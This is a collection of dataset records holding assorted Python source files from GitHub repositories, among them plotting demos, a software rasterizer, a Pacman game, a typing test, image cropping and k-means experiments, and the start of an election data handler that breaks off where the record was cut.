+{"seq_id":"25261523184","text":"import matplotlib.pyplot as plt\nfrom sklearn import datasets\nfrom np_ml import LLE\n\nif __name__ == '__main__':\n lle = LLE()\n n_points = 1000\n X, color = datasets.samples_generator.make_s_curve(n_points, random_state=0)\n \n y = lle.fit(X)\n plt.scatter(y[:, 0], y[:, 1], c=color)\n plt.show()","repo_name":"zhuzilin/NP_ML","sub_path":"examples/lle.py","file_name":"lle.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"82"} +{"seq_id":"22729781352","text":"\"\"\"\nExtract context of target query words and related\nverbs on a sentence-by-sentence basis.\n\"\"\"\n\nimport ast\nimport pandas as pd\n\ndef str2list(s):\n return ast.literal_eval(s)\n\n# Read query terms\nwith open(\"in/queryterms.txt\", \"r\") as f:\n terms = f.read().split()\n\n# Read in POS tagged data\nDF = pd.read_csv(\"in/content_POS.dat\", header = 0, index_col = None)\ncontent = DF[\"POS\"].tolist()\nfnames = DF[\"id\"].tolist()\n\n# Extract pronoun-verb pairs\nfor idx in range(len(content)):\n print(idx)\n text = str2list(content[idx])\n reponse = []\n # For each sentence, cycle through pairs of words\n for i, sent in enumerate(text):\n verbs, prons = [], []\n for j, pair in enumerate(sent):\n # If one of those word is a pronoun, extract this\n for term in terms:\n if term == pair[0]:\n prons.append((j,pair[0]))\n # If next word is a verb, extract that, too\n for k, pair in enumerate(sent):\n if pair[1] == \"VERB\":\n verbs.append((k,(pair[0])))\n continue\n # Create an entry with filename, pronoun, associated verbs\n entry = [fnames[idx], i, prons, sorted(list(set(verbs)))]\n reponse.append(entry)\n\n # Create a dataframe from all entries\n if reponse:\n df = pd.DataFrame(reponse)\n df.columns = [\"id\", \"sentence_id\",\"pronouns\",\"verbs\"]\n idx_list = []\n for ii in list(set(df['sentence_id'])):\n idx_list.append(list(df['sentence_id']).index(ii))\n df = df.iloc[sorted(idx_list),:].reset_index(drop = True)\n if idx == 0:\n DFq = df\n else:\n DFq = pd.concat([DFq, df]).reset_index(drop = True)\n\n# Save dataframe as CSV\nprint(DFq.shape)\nDFq.to_csv(\"in/content_QUERYTERMS.dat\", index = False)\n","repo_name":"centre-for-humanities-computing/sermon-research.dk","sub_path":"src/02-query_extract.py","file_name":"02-query_extract.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"39143550550","text":"# Just a random plotting - demo plots\n\n\nimport matplotlib.pyplot as plt\n\n\nx = [1, 2, 3, 4, 5]\ny = [10, 34, 23, 56, 78]\n\nplt.plot(x, y)\nplt.title('Random plot')\nplt.xlabel('Numbers')\nplt.ylabel('Frequency')\nplt.xticks(x)\nplt.show()\n\n","repo_name":"debaonline4u/Python_Programming","sub_path":"arrays_in_python/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"82"} +{"seq_id":"70542298829","text":"#Juan Diego Solorzano 18151\r\n#Lab2: Planeta\r\n\r\nimport struct\r\nimport math\r\nfrom collections import namedtuple\r\nfrom objt import Obj\r\n\r\nV2 = namedtuple('Point2', ['x', 'y'])\r\nV3 = namedtuple('Point3', ['x', 'y', 'z'])\r\nwhite = bytes([255, 255, 255])\r\nblack = bytes([0, 0, 0])\r\n\r\ndef char(c):\r\n return struct.pack('=c', c.encode('ascii'))\r\n\r\ndef word(c):\r\n return struct.pack('=h', c)\r\n\r\ndef dword(c):\r\n return struct.pack('=l', c)\r\n\r\ndef glCreateWindow(width, height):\r\n win = Render(width, height)\r\n return win\r\n\r\ndef cross(v0, v1):\r\n #Producto cruz de 2 vectores\r\n return V3(\r\n v0.y * v1.z - v0.z * v1.y,\r\n v0.z * v1.x - v0.x * v1.z,\r\n v0.x * v1.y - v0.y * v1.x,\r\n )\r\n\r\ndef color(r, g, b):\r\n return(bytes([b, g, r]))\r\n\r\ndef bbox(*vertices):\r\n #Bounding box desde 2 vectores\r\n xs = [ vertex.x for vertex in vertices ]\r\n ys = [ vertex.y for vertex in vertices ]\r\n xs.sort()\r\n ys.sort()\r\n\r\n return V2(xs[0], ys[0]), V2(xs[-1], ys[-1])\r\n\r\ndef barycentric(A, B, C, P):\r\n #Conseguir coordenadas baricentricas desde los 3 vectores con producto cruz \r\n cx, cy, cz = cross(\r\n V3(B.x - A.x, C.x - A.x, A.x - P.x), \r\n V3(B.y - A.y, C.y - A.y, A.y - P.y)\r\n )\r\n\r\n if abs(cz) < 1:\r\n #es triangulo degenerado (regresar lo que sea)\r\n return -1, -1, -1\r\n\r\n u = cx/cz\r\n v = cy/cz\r\n w = 1 - (u + v)\r\n\r\n return w, v, u\r\n\r\ndef norm(v0):\r\n #Normal del vector\r\n v0length = length(v0)\r\n\r\n if not v0length:\r\n return V3(0, 0, 0)\r\n\r\n return V3(v0.x/v0length, v0.y/v0length, v0.z/v0length)\r\n\r\ndef dot(v0, v1):\r\n #Producto punto\r\n return v0.x * v1.x + v0.y * v1.y + v0.z * v1.z\r\n\r\ndef sub(v0, v1):\r\n #Resta de vectores\r\n return V3(v0.x - v1.x, v0.y - v1.y, v0.z - v1.z)\r\n\r\ndef length(v0):\r\n return (v0.x**2 + v0.y**2 + v0.z**2)**0.5\r\n\r\nclass Render(object):\r\n def __init__(self, width, height):\r\n self.width = width\r\n self.height = height\r\n self.clearC = bytes([0, 0, 0])\r\n self.color = bytes([255, 255, 255])\r\n self.xw = 0\r\n self.yw = 0\r\n self.widthw = width\r\n self.heightw = height\r\n self.framebuffer = []\r\n self.poin = False\r\n self.rangem = False\r\n self.glClear()\r\n\r\n self.zbuffer = [\r\n [-999999 for x in range(self.width)]\r\n for y in range(self.height)\r\n ]\r\n\r\n def glInit(self, width, height):\r\n return\r\n \r\n #Area para pintar\r\n def glViewPort(self, x, y, width, height):\r\n self.xw = x\r\n self.yw = y\r\n self.widthw = width\r\n self.heightw = height\r\n\r\n #Pintar imagen \r\n def glClear(self):\r\n self.framebuffer = [\r\n [self.clearC for x in range(self.width)]\r\n for y in range(self.height)\r\n ]\r\n\r\n #Color para pintar imagen\r\n def glClearColor(self, r, g, b):\r\n r = int(r * 255)\r\n g = int(g * 255)\r\n b = int(b * 255)\r\n self.clearC = bytes([b, g, r])\r\n self.glClear()\r\n\r\n #Crear archivo de la imagen\r\n def glFinish(self, filename):\r\n f = open(filename, 'bw')\r\n\r\n #file header\r\n f.write(char('B'))\r\n f.write(char('M'))\r\n f.write(dword(14 + 40 + self.width * self.height * 3))\r\n f.write(dword(0))\r\n f.write(dword(14 + 40))\r\n\r\n #image header\r\n f.write(dword(40))\r\n f.write(dword(self.width))\r\n f.write(dword(self.height))\r\n f.write(word(1))\r\n f.write(word(24))\r\n f.write(dword(0))\r\n f.write(dword(self.width * self.height * 3))\r\n f.write(dword(0))\r\n f.write(dword(0))\r\n f.write(dword(0))\r\n f.write(dword(0))\r\n\r\n #pixel data\r\n for x in range(self.height):\r\n for y in range(self.width):\r\n f.write(self.framebuffer[x][y])\r\n\r\n f.close()\r\n\r\n #Pintar punto\r\n def glVertex(self, x, y, color):\r\n if self.poin:\r\n xn = (x + 1)*(self.widthw/2) + self.xw\r\n yn = (y + 1)*(self.heightw/2) + self.yw\r\n xn = int(xn)\r\n yn = int(yn)\r\n else:\r\n xn = x\r\n yn = y\r\n self.framebuffer[yn][xn] = color\r\n\r\n #Color del punto\r\n def glColor(self, r, g, b):\r\n r = int(r * 255)\r\n g = int(g * 255)\r\n b = int(b * 255)\r\n self.color = bytes([b, g, r])\r\n\r\n def triangle(self, A, B, C, color):\r\n #bounding box\r\n bbox_min, bbox_max = bbox(A, B, C)\r\n\r\n for x in range(bbox_min.x, bbox_max.x + 1):\r\n for y in range(bbox_min.y, bbox_max.y + 1):\r\n w, v, u = barycentric(A, B, C, V2(x, y))\r\n #Ver si el punto esta dentro del triangulo basado en las caracteristicas dadas de las coordenadas (0 es valido)\r\n if w < 0 or v < 0 or u < 0:\r\n #no lo pinta\r\n continue\r\n\r\n z = A.z * w + B.z * v + C.z * u\r\n color = self.shader(x, y, z)\r\n if z > self.zbuffer[x][y]:\r\n\r\n #pintar punto\r\n self.glVertex(x, y, color)\r\n self.zbuffer[x][y] = z\r\n\r\n #Pintar una linea de un punto a otro. Se optimizo el algoritmo evitando el uso de round y divisiones\r\n def glLine(self, x1, y1, x2, y2):\r\n #Cambiar valores\r\n self.poin = False\r\n\r\n #Modificar si se pidieron valores entre -1 y 1\r\n if self.rangem:\r\n x1n = int((x1 + 1)*(self.width/2))\r\n x2n = int((x2 + 1)*(self.width/2))\r\n y1n = int((y1 + 1)*(self.height/2))\r\n y2n = int((y2 + 1)*(self.height/2))\r\n\r\n else:\r\n \r\n x1n = x1\r\n y1n = y1\r\n x2n = x2\r\n y2n = y2\r\n dy = abs(y2n - y1n)\r\n dx = abs(x2n - x1n)\r\n emp = dy > dx\r\n\r\n if emp:\r\n x1n, y1n = y1n, x1n\r\n x2n, y2n = y2n, x2n\r\n\r\n if x1n > x2n:\r\n x1n, x2n = x2n, x1n\r\n y1n, y2n = y2n, y1n\r\n\r\n dy = abs(y2n - y1n)\r\n dx = abs(x2n - x1n)\r\n #Variable para ver cuando subir de y\r\n offset = 0\r\n threshold = dx\r\n y = y1n\r\n #Pintar puntos\r\n for x in range(x1n, x2n):\r\n if emp:\r\n self.glVertex(y, x, black)\r\n else:\r\n self.glVertex(x, y, black)\r\n\r\n offset += dy * 2\r\n if offset >= threshold:\r\n #Sumar si linea va para arriba, restar si va para abajo\r\n y += 1 if y1n < y2n else -1\r\n threshold += 2 * dx\r\n\r\n def shader(self, x, y ,z):\r\n #Colores a utilizar\r\n c1 = [20, 36, 169]\r\n c2 = [62, 84, 232]\r\n c3 = [62, 102, 249]\r\n c4 = [96, 129, 255]\r\n c5 = [137, 243, 255]\r\n\r\n #Gradiente de la derecha y parte superior\r\n if x > 305 and y > 280:\r\n dx = x - 335\r\n dy = y - 280\r\n dst = math.sqrt(dx**2 + dy**2)\r\n \r\n if dst >= 190:\r\n r = (250 - dst)/60\r\n return color(int(c2[0]*r),int(c2[1]*r), int(c2[2]*r))\r\n else:\r\n if y > 170:\r\n dx = 335 - x\r\n dy = y - 170\r\n dst = math.sqrt(dx**2 + dy**2)\r\n if dst >= 230:\r\n r = (250 - dst)/20\r\n r1 = int(c2[1] + 18*r)\r\n r2 = int(c2[2] + 17*r)\r\n return color(c3[0], r1, r2)\r\n else:\r\n #Remolino en el centro\r\n if y > 320:\r\n dx = 400 - x\r\n dy = y - 50\r\n dst = math.sqrt(dx**2 + dy**2)\r\n if dst <= 285:\r\n return color(c1[0], c1[1], c1[2])\r\n elif dst <=295:\r\n return color(c2[0], c2[1], c2[2])\r\n elif dst <=297 and x < 400 and x > 370:\r\n return color(c5[0], c5[1], c5[2])\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n else:\r\n dx = 400 - x\r\n dy = y - 550\r\n dst = math.sqrt(dx**2 + dy**2)\r\n if dst <= 245:\r\n return color(c1[0], c1[1], c1[2])\r\n elif dst <=248:\r\n if x < 380 and x > 350:\r\n return color(c5[0], c5[1], c5[2])\r\n else:\r\n return color(c2[0], c2[1], c2[2])\r\n elif dst <=260:\r\n return color(c2[0], c2[1], c2[2])\r\n elif dst <=265:\r\n if x < 400 and x > 330:\r\n return color(c5[0], c5[1], c5[2])\r\n else:\r\n return color(c2[0], c2[1], c2[2])\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n \r\n else:\r\n #Gradiente de la parte izquierda\r\n if x > 270 and x < 295 and y > 230 and y < 260:\r\n dx = x - 270\r\n if y > 230:\r\n dy = y - 230\r\n else:\r\n dy = 260 - y\r\n dst = dx + dy\r\n if dst < 20:\r\n #Triangulo de la izquierda inferior\r\n return color(c4[0], c4[1], c4[2])\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n else:\r\n if y > 300:\r\n dx = 335 - x\r\n dy = y - 300\r\n dst = math.sqrt(dx**2 + dy**2)\r\n if dst > 100:\r\n\r\n r = (120 - dst)/20\r\n r1 = int(c2[1] + 18*r)\r\n r2 = int(c2[2] + 17*r)\r\n return color(c3[0], r1, r2)\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n else:\r\n if y > 100:\r\n dx = x - 400\r\n dy = y\r\n dst = math.sqrt(dx**2 + dy**2)\r\n \r\n #Circulos de la parte inferior con gradiente\r\n if dst >= 240:\r\n if x > 503:\r\n dx = x - 335\r\n dy = y - 280\r\n dst = math.sqrt(dx**2 + dy**2)\r\n \r\n if dst >= 190:\r\n r = (250 - dst)/60\r\n return color(int(c2[0]*r),int(c2[1]*r), int(c2[2]*r))\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n else:\r\n if dst <= 155:\r\n r = (155 - dst)/5\r\n r1 = int(c3[1] - 18*r)\r\n r2 = int(c3[2] - 17*r)\r\n return color(c3[0], r1, r2)\r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n elif dst >= 180:\r\n r = (250 - dst)/70\r\n r1 = int(c2[1] + 18*r)\r\n r2 = int(c2[2] + 17*r)\r\n return color(c3[0], r1, r2)\r\n\r\n else:\r\n r = (dst)/180\r\n return color(int(c3[0]*r),int(c3[1]*r), int(c3[2]*r))\r\n \r\n else:\r\n return color(c3[0], c3[1], c3[2])\r\n\r\n \r\n def load(self, filename, translate, scale):\r\n model = Obj(filename)\r\n \r\n for face in model.faces:\r\n #Cuantas caras tiene el modelo\r\n vcount = len(face)\r\n\r\n vertices = []\r\n \r\n for j in range(vcount):\r\n vi1 = face[j][0] - 1\r\n vi2 = face[(j + 1) % vcount][0] - 1\r\n\r\n v1 = model.vertices[vi1]\r\n v2 = model.vertices[vi2]\r\n\r\n #Solo acepta enteros. Sumar el translate y multiplicar por scale para ajustar al display\r\n x1 = round((v1[0] + translate[0]) * scale[0])\r\n y1 = round((v1[1] + translate[1]) * scale[1])\r\n z1 = round((v1[2] + translate[2]) * scale[2])\r\n x2 = round((v2[0] + translate[0]) * scale[0])\r\n y2 = round((v2[1] + translate[1]) * scale[1])\r\n z2 = round((v2[2] + translate[2]) * scale[2])\r\n \r\n #self.glLine(x1, y1, x2, y2)\r\n vertices.append(V3(x1, y1, z1))\r\n\r\n if vcount == 3:\r\n #3 caras\r\n A = vertices[0]\r\n B = vertices[1]\r\n C = vertices[2] \r\n\r\n #Pintar triangulo\r\n self.triangle(A, B, C, white)\r\n\r\n if vcount == 4:\r\n #4 caras\r\n A = vertices[0]\r\n B = vertices[1]\r\n C = vertices[2]\r\n D = vertices[3]\r\n\r\n #Pintar triangulo\r\n self.triangle(A, B, C, white)\r\n self.triangle(A, D, C, white)\r\n\r\n\r\nbitmap = Render(800, 600)\r\nbitmap.load('sphere.obj', translate=[1.13, 0.84, 1], scale=[350, 350, 350])\r\nbitmap.glFinish('out2.bmp')\r\n","repo_name":"JDiegoS/Lab2-Shaders","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":13948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21904045509","text":"\"\"\"Pacman, classic arcade game.\"\"\"\n\n# Imports necessary packages from different libraries\nfrom random import choice\nfrom turtle import Turtle\nfrom turtle import bgcolor\nfrom turtle import clear\nfrom turtle import up\nfrom turtle import goto\nfrom turtle import dot\nfrom turtle import update\nfrom turtle import ontimer\nfrom turtle import setup\nfrom turtle import hideturtle\nfrom turtle import tracer\nfrom turtle import listen\nfrom turtle import onkey\nfrom turtle import done\nfrom freegames import floor\nfrom freegames import vector\n\n# Defines the initial state of the game (Score, Pacman & Ghosts position)\nstate = {'score': 0}\npath = Turtle(visible=False)\nwriter = Turtle(visible=False)\naim = vector(5, 0)\npacman = vector(-40, -80)\nghosts = [\n [vector(-180, 160), vector(5, 0)],\n [vector(-180, -160), vector(0, 5)],\n [vector(100, 160), vector(0, -5)],\n [vector(100, -160), vector(-5, 0)],\n]\n# This is the board. 0's represent walls and 1's represent movearound area.\ntiles = [\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,\n 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0,\n 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,\n 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0,\n 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n]\n\n\ndef square(x, y):\n # Draw square using path at (x, y).\n path.up()\n path.goto(x, y)\n path.down()\n path.begin_fill()\n\n for count in range(4):\n path.forward(20)\n path.left(90)\n\n path.end_fill()\n\n\ndef offset(point):\n # Return offset of point in tiles.\n x = (floor(point.x, 20) + 200) / 20\n y = (180 - floor(point.y, 20)) / 20\n index = int(x + y * 20)\n return index\n\n\ndef valid(point):\n # Return True if point is valid in tiles.\n index = offset(point)\n\n if tiles[index] == 0:\n return False\n\n index = offset(point + 19)\n\n if tiles[index] == 0:\n return False\n\n return point.x % 20 == 0 or point.y % 20 == 0\n\n\ndef world():\n # Draws board using tiles matrix.\n bgcolor('black')\n path.color('blue')\n\n for index in range(len(tiles)):\n tile = tiles[index]\n\n if tile > 0:\n x = (index % 20) * 20 - 200\n y = 180 - (index // 20) * 20\n square(x, y)\n\n if tile == 1:\n path.up()\n path.goto(x + 10, y + 10)\n path.dot(2, 'white')\n\n\ndef move():\n # Move pacman and all ghosts.\n writer.undo()\n writer.write(state['score'])\n\n clear()\n # Verifies pacman's location onboard & aim (where it's looking at)\n if valid(pacman + aim):\n pacman.move(aim)\n\n index = offset(pacman)\n ''' Checks if pacman is standing on a tile with dot.\n Adds +1 to score and removes dot of that tile.\n '''\n if tiles[index] == 1:\n tiles[index] = 2\n state['score'] += 1\n x = (index % 20) * 20 - 200\n y = 180 - (index // 20) * 20\n square(x, y)\n\n up()\n # Defines how many tiles pacman will move.\n goto(pacman.x + 10, pacman.y + 10)\n # Defines pacman's size and color\n dot(20, 'yellow')\n\n ''' This block of code determines the movement of the Ghosts.\n If they are on a valid position and course, they'll move in that\n direction.\n Otherwise, the program will choose the new direction of the ghost, from\n a default set of options and try again.\n '''\n for point, course in ghosts:\n if valid(point + course):\n point.move(course)\n else:\n options = [\n vector(20, 0),\n vector(-20, 0),\n vector(0, 20),\n vector(0, -20),\n ]\n plan = choice(options)\n course.x = plan.x\n course.y = plan.y\n # Defines ghost's size and color\n up()\n goto(point.x + 10, point.y + 10)\n dot(20, 'red')\n\n update()\n '''Checks position of the ghosts relative to pacman.\n If they collide, game ends'''\n for point, course in ghosts:\n if abs(pacman - point) < 20:\n return\n\n ontimer(move, 100)\n\n\ndef change(x, y):\n # Change pacman aim if valid.\n if valid(pacman + vector(x, y)):\n aim.x = x\n aim.y = y\n\n\n''' This block of code calls functions to start the game. '''\nsetup(420, 420, 370, 0)\nhideturtle()\ntracer(False)\nwriter.goto(160, 160)\nwriter.color('white')\nwriter.write(state['score'])\nlisten()\n# Define keys to use ingame to move pacman\nonkey(lambda: change(5, 0), 'Right')\nonkey(lambda: change(-5, 0), 'Left')\nonkey(lambda: change(0, 5), 'Up')\nonkey(lambda: change(0, -5), 'Down')\nworld()\nmove()\ndone()\n","repo_name":"SJBauer0/Evidencia-de-Proyecto","sub_path":"pacman.py","file_name":"pacman.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30503736091","text":"# Python Script to test your Typing Speed\n\nfrom time import time\n\nprint()\nprint(\"NO NEW LINE IS THERE, WRITE CONTINUOUSLY(just SPACES)\")\ns = (\n \"this is a simple paragraph that is meant to be nice and\"\n \" easy to type which is why there will be no commas no periods \"\n \"or any capital letters so i guess this means that it cannot really \"\n \"be considered a paragraph but just a series of sentences\"\n)\n\nwords = len(s.split())\n\nprint()\nprint(s)\n\nprint(\"\\nAfter you are done press enter to know your time and speed\")\ninput(\"\\nPress any key to Start:\")\n\ntry:\n print(\"\\nTimer Started\\n\")\n start = time()\n t = input()\n end = time()\n if t == s:\n total = round(end - start, 2)\n print(\"\\nVoila you typed that correctly\")\n print(\"Your time was %s seconds\" % total)\n total = int(total) / 60\n print(\"Speed was %s wpm\" % (str(words // total)))\n\n else:\n print(\"\\nWrongly entered\")\n print(\"Try again\")\n\nexcept KeyboardInterrupt:\n print(\"\")\n","repo_name":"HarshCasper/Rotten-Scripts","sub_path":"Python/Test_Typing_Speed/test_typing_speed.py","file_name":"test_typing_speed.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1396,"dataset":"github-code","pt":"82"} +{"seq_id":"27130153120","text":"from joblib import load\nimport sys\nimport json\n\nfrom collections import Counter\nimport pandas as pd\nimport numpy as np\n\nmodel_path = sys.argv[1]\ntest_path = sys.argv[2]\noutput_path = sys.argv[3]\n\nBIN_NUM = 40\n\nKEY_COLUMN = ['key']\n\nwith open('%s/config.json' % model_path) as json_file:\n config = json.load(json_file)\n\nselected_features = config['selected_features']\npredicting_column = config['predicting_column']\n\nprint('Predicting data')\ndf = pd.read_csv(test_path)\nr_df = df[selected_features]\no_df = df[KEY_COLUMN]\nclf = load('%s/model.joblib' % model_path)\npredictions = clf.predict(r_df)\no_df[predicting_column] = predictions\no_df.to_csv('%s/output.csv' % output_path, header=True)\n\nprediction_min = np.floor(min(predictions))\nprediction_max = np.ceil(max(predictions))\ndiff = prediction_max - prediction_min\ngraph_info = { 'name': predicting_column, 'type': 'numerical', 'min': prediction_min, 'max': prediction_max, 'num_of_bins': min(diff + 2, BIN_NUM) }\nbinned_data = pd.cut(predictions, np.linspace(graph_info['min'], graph_info['max'] + 1, num=graph_info['num_of_bins']), right=False)\nmidpoint = [ item.left for item in binned_data ]\ngraph_info['data'] = [{ 'x': key, 'y': value } for key, value in Counter(midpoint).iteritems()]\n\nwith open('%s/graph.json' % output_path, 'w') as outfile:\n json.dump(graph_info, outfile)\n\nprint('Finished predicting')\nprint('Saved predictions at ...')\nprint('%s/output.csv' % output_path)\n","repo_name":"warunyoud/predictive-IO","sub_path":"src/python/predict_data.py","file_name":"predict_data.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32411284944","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 21 10:11:28 2015\n\n@author: mah228\n\"\"\"\n\n###test code for image classification ##\n\n### image split\n## \n## install PIL in conda: conda install PIL\n\nimport Image\nimport os\nim = Image.open(\"H:/building-energy-paper/elsarticle/elsarticle/fig/fig2.png\")\n\ndef imgCrop(im):\n \n box = (0, 0, 1000, 1000)\n region = im.crop(box)\n path=\"H:/building-energy-paper/elsarticle/elsarticle/fig/cropped.png\"\n region.save(path)\n \n \nimgCrop(im)\n\n\n\n\ndef crop(p1,height,width,i):\n im = Image.open(p1)\n imgwidth, imgheight = im.size\n for i in range(0,imgheight,height):\n for j in range(0,imgwidth,width):\n box = (j, i, j+width, i+height)\n a = im.crop(box)\n #k=0\n #path=\"H:/building-energy-paper/elsarticle/elsarticle/fig/path=\"H:/building-energy-paper/elsarticle/elsarticle/fig/cropped\"+str(i)+\".png\"\"\n path=\"H:/building-energy-paper/elsarticle/elsarticle/fig/Presentation1/cropped\"+str(i)+str(j)+\".png\"\n #k = k+1\n a.save(path)\n \n \ndef threshold(imageArray):\n balanceAr = []\n newAr = imageArray\n for eachRow in imageArray:\n for eachPix in eachRow:\n avgNum = reduce(lambda x, y: x + y, eachPix[:3]) / len(eachPix[:3])\n balanceAr.append(avgNum)\n balance = reduce(lambda x, y: x + y, balanceAr) / len(balanceAr)\n return balance\n\n \n\ndef threshold(imageArray):\n balanceAr = []\n newAr = imageArray\n for eachRow in imageArray:\n for eachPix in eachRow:\n avgNum = reduce(lambda x, y: x + y, eachPix[:3]) / len(eachPix[:3])\n balanceAr.append(avgNum)\n balance = reduce(lambda x, y: x + y, balanceAr) / len(balanceAr)\n for eachRow in newAr:\n for eachPix in eachRow:\n if reduce(lambda x, y: x + y, eachPix[:3]) / len(eachPix[:3]) > balance:\n eachPix[0] = 255\n eachPix[1] = 255\n eachPix[2] = 255\n eachPix[3] = 255\n else:\n eachPix[0] = 0\n eachPix[1] = 0\n eachPix[2] = 0\n eachPix[3] = 255\n return newAr \n \nimport numpy\nimport matplotlib\nmatplotlib.use('Agg')\nfrom scipy.cluster.vq import *\nimport pylab\npylab.close()\n \n# generate 3 sets of normally distributed points around\n# different means with different variances\npt1 = numpy.random.normal(1, 0.2, (100,2))\npt2 = numpy.random.normal(2, 0.5, (300,2))\npt3 = numpy.random.normal(3, 0.3, (100,2))\n \n# slightly move sets 2 and 3 (for a prettier output)\npt2[:,0] += 1\npt3[:,0] -= 0.5\n \nxy = numpy.concatenate((pt1, pt2, pt3))\n \n# kmeans for 3 clusters\nres, idx = kmeans2(numpy.array(zip(xy[:,0],xy[:,1])),3)\n \ncolors = ([([0.4,1,0.4],[1,0.4,0.4],[0.1,0.8,1])[i] for i in idx])\n \n# plot colored points\npylab.scatter(xy[:,0],xy[:,1], c=colors)\n \n# mark centroids as (X)\npylab.scatter(res[:,0],res[:,1], marker='o', s = 500, linewidths=2, c='none')\npylab.scatter(res[:,0],res[:,1], marker='x', s = 500, linewidths=2)\npylab.savefig('H:/building-energy-paper/elsarticle/elsarticle/fig/images.jpg')\n","repo_name":"shamol84/python-code","sub_path":"imageprocess.py","file_name":"imageprocess.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6835047318","text":"import math\nfrom io import StringIO\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\n\nfrom elexmodel.handlers.data.Estimandizer import Estimandizer\nfrom elexmodel.utils.file_utils import get_directory_path\n\n\nclass MockLiveDataHandler:\n \"\"\"\n Handles current data, which we would pull from Dynamo on an election night\n \"\"\"\n\n def __init__(\n self,\n election,\n office_id,\n geographic_unit_type,\n estimands,\n historical=False,\n data=None,\n s3_client=None,\n unexpected_units=0,\n ):\n self.election_id = election\n self.office_id = office_id\n self.geographic_unit_type = geographic_unit_type\n self.estimands = estimands\n self.s3_client = s3_client\n self.historical = historical\n self.unexpected_rows = unexpected_units\n self.estimandizer = Estimandizer()\n\n self.shuffle_columns = [\n \"postal_code\",\n \"county_classification\",\n \"county_fips\",\n ] # columns we may want to sample by\n self.shuffle_dataframe = None\n\n self.data = data\n if data is not None:\n # passed in as a df\n data_for_estimands = self.load_data(data)\n self.data = data_for_estimands\n else:\n self.data = self.get_data()\n\n self.current_reporting_data = None\n\n def get_data(self):\n file_path = self.get_live_data_file_path()\n # If local data file is not available, read data from s3\n if not Path(file_path).is_file():\n path_info = {\n \"election_id\": self.election_id,\n \"office\": self.office_id,\n \"geographic_unit_type\": self.geographic_unit_type,\n }\n # we're mimicking live data from a file of preprocessed data\n # but for a real live election, we will pull live data from dynamo\n file_path = self.s3_client.get_file_path(\"preprocessed\", path_info)\n csv_data = self.s3_client.get(file_path)\n # read data as a buffer\n live_data = StringIO(csv_data)\n else:\n # read data as a filepath\n live_data = file_path\n\n data = pd.read_csv(\n live_data,\n dtype={\"geographic_unit_fips\": str, \"geographic_unit_type\": str, \"county_fips\": str, \"district\": str},\n )\n data = self.load_data(data)\n return data\n\n def get_live_data_file_path(self):\n directory_path = get_directory_path()\n return 